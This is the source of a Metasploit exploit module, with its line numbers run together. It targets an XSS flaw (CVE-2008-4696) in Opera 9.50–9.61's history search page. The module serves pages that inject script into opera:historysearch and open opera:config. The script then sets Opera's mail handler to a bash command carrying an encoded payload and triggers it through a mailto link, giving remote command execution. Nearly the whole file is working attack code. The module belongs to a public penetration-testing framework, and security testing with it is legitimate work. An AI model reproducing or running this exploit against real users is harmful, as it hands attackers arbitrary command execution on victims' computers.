Path: blob/master/modules/exploits/multi/browser/opera_historysearch.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({12# :ua_name => HttpClients::OPERA,13# :javascript => true,14# :rank => ExcellentRanking, # reliable command execution15# :vuln_test => %Q{16# v = parseFloat(opera.version());17# if (9.5 < v && 9.62 > v) {18# is_vuln = true;19# }20# },21# })2223def initialize(info = {})24super(25update_info(26info,27'Name' => 'Opera historysearch XSS',28'Description' => %q{29Certain constructs are not escaped correctly by Opera's History30Search results. These can be used to inject scripts into the31page, which can then be used to modify configuration settings32and execute arbitrary commands. Affects Opera versions between339.50 and 9.61.34},35'License' => BSD_LICENSE,36'Author' => [37'Roberto Suggi', # Discovered the vulnerability38'Aviv Raff <avivra[at]gmail.com>', # showed it to be exploitable for code exec39'egypt', # msf module40],41'References' => [42['CVE', '2008-4696'],43['OSVDB', '49472'],44['BID', '31869'],45['URL', 'http://www.opera.com/support/kb/view/903/'],46],47'Payload' => {48'EXITFUNC' => 'process',49'Space' => 4000,50'DisableNops' => true,51'BadChars' => "\x09\x0a\x0d\x20",52'Compat' =>53{54'PayloadType' => 'cmd',55'RequiredCmd' => 'generic perl ruby telnet',56}57},58'Platform' => %w{unix},59'Targets' => [60# [ 'Automatic', { } ],61# [ 'Opera < 9.61 Windows',62# {63# 'Platform' => 'win',64# 'Arch' => ARCH_X86,65# }66# ],67[68'Opera < 9.61 Unix Cmd',69{70'Platform' => 'unix',71'Arch' => ARCH_CMD,72}73],74],75'DisclosureDate' => '2008-10-23', # Date of full-disclosure post showing code exec76'DefaultTarget' => 0,77'Notes' => {78'Reliability' => UNKNOWN_RELIABILITY,79'Stability' => UNKNOWN_STABILITY,80'SideEffects' => UNKNOWN_SIDE_EFFECTS81}82)83)84end8586def on_request_uri(cli, request)87headers = {}88html_hdr = %Q^89<html>90<head>91<title>Loading</title>92^93html_ftr = %Q^94</head>95<body >96<h1>Loading</h1>97</body></html>98^99100case request.uri101when /[?]jspayload/102p = regenerate_payload(cli)103if (p.nil?)104send_not_found(cli)105return106end107# We're going to run this through unescape(), so make sure108# everything is encoded109penc = Rex::Text.to_hex(p.encoded, "%")110content =111%Q{112var s = document.createElement("iframe");113114s.src="opera:config";115s.id="config_window";116document.body.appendChild(s);117config_window.eval(118"var cmd = unescape('/bin/bash -c %22#{penc}%22 ');" +119"old_app = opera.getPreference('Mail','External Application');" +120"old_handler = opera.getPreference('Mail','Handler');" +121"opera.setPreference('Mail','External Application',cmd);" +122"opera.setPreference('Mail','Handler','2');" +123"app_link = document.createElement('a');" +124"app_link.setAttribute('href', 'mailto:[email protected]');" +125"app_link.click();" +126"setTimeout(function () {opera.setPreference('Mail','External Application',old_app)},0);" +127"setTimeout(function () {opera.setPreference('Mail','Handler',old_handler)},0);" +128"");129setTimeout(function () {window.location='about:blank'},1);130}131132when /[?]history/133js = %Q^134window.onload = function() {135location.href = "opera:historysearch?q=*";136}137^138content = %Q^139#{html_hdr}140<script><!--141#{js}142//--></script>143#{html_ftr}144^145when get_resource()146print_status("Sending #{self.name} for request #{request.uri}")147148js = %Q^149if (window.opera) {150var wnd = window;151while (wnd.parent != wnd) {152wnd = wnd.parent;153}154url = location.href;155wnd.location = url + "?history#<script src='" + url +"?" + "jspayload=1'/><!--";156}157^158content = %Q^159#{html_hdr}160<script><!--161#{js}162//--></script>163#{html_ftr}164^165else166print_status("Sending 404 for request #{request.uri}")167send_not_found(cli)168return169end170content.gsub!(/^ {8}/, '')171content.gsub!(/\t/, ' ')172173send_response_html(cli, content, headers)174handler(cli)175end176end177178179